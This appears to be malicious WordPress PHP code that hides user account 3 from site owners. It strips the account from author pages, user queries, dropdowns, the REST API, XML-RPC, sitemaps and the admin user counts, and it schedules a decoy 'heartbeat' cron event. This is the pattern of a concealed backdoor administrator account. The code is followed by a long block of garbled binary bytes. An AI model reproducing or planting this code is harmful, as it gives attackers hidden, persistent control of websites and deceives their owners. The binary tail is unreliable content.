add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 3;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 3 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 3;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 3;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 3;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 3;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
‹ í½Û–Û8²(øl¯µÿ¥:mgV‰”Hêšvº:�vUWo»ì¶]Õ—²�DBJÚ©"©¼8;g�5¿0Oó4Ó�ýÐkÖ^ý¶Çr¾`>a"àUÔ-S™võ¶«RÁ@D @ pÿ'°ã³©`GñÄ{pû>~1�ûãýšˆ´Ç/k˜&¸óàöûsfñ0ñ~íÇWßj½Zšî󉨝»âd„q�Ù�àN\'>Úwık�êÌõÝØåžÙÜûañ\ÿ…·_›†ÁÈõD�…b´_;Šãi´×hŒ'Ó±„ãÆéÈoF‰ôÝ0qt7%|×õqZg£Àó‚“:›ðSÍ�ð±Ð¦¡@>÷<Ž…|ùît*â=Í�ÏÇ®#‚P3î²ÆƒÛ@ïMc¯ŽÜˆEn,|ÓØ�¸ï…ÃNÜøˆÅG‚ý9àQÌ^>~ƦÞlìúìØìê]¦±¤ g ÛÁ¤%ufv,S´Hž¡d£¨Á4
K»±'üäsߨaèrÿ=gOùØŸM˜Qo?Ä�Ü(ÝáÌv_Dì[�yøáŸþý†Ì]¨]›û�ïBÅ—ëwDÙŸ8;vý Ò-ÐB7xËá™ÐlÉ€6!4£í5jX7ª) @SÆgûµ`¼çؼ9QÑ $j8Ša˜‡±kcöEàX´üåªh!zGDPVhÝÀ_BÄlš&û_ÿóÿ`ƒXxGrÿëþ?OØŽ$¿Ë€ØÌg±ëÇst-öè{�uZgÂãà äN ¤]ßv§Ü› �ôØ+1™†ÜwAzÙþ±x+l`�›ˆð
Ÿ
yB[Fˆ:€'ØòØþAèøÒtvø‘�9‹fƒFž@°³8ˆ ãÛ n¢)à˜3~™xwðšùœ
¡I�m1æÀ&dùeæzîŠÀ!T^Õ,è<Œ„�µÊCÎ7BbU§´—‚N¸ë?öa\>{6zŽÝ`ûŠæÑa0óA‚ZuÙ«·LåKб?KÜ@2>šM†>w½aàYL$S“¯=ùšåkДó$UYOÔúKè™hkìý�ü²Gú3]
µ7PTÿ å3*/ØQÀXÖAþ(†TÝ[í €m¶´À›bS=à’fÚ&ÝôK¨Y¾±õTk~�y-R9'/ÿByM"Ӈע ‡!h@;„ªÙvýç0_ÌwF³ +,׃¤gÝódUÉÐph%ÄØË·Ó¯Þ\¼É«)çC˜)ĵ*>¯M&Wi‹KK¢ÊuMr.mÑ=°'qø$+òUú0mú' œ¶\‡9¹‚æŠÅi<öNB„éßÃ{’5Pn$dFªUŸ!ÌÔ¸B²„½ÂÀQ‰Ô\GU׊b#ÐKT¸+
›D3¯—l¼X2"ä§è{µÇ\7á`â" L9…Æ)LL9Nº�
äEKX-½4uæž‹5ÎåÛ36C×�™0Í]�`³ÔðÃ?¸¾¢«¿<´�æ:{ æQxö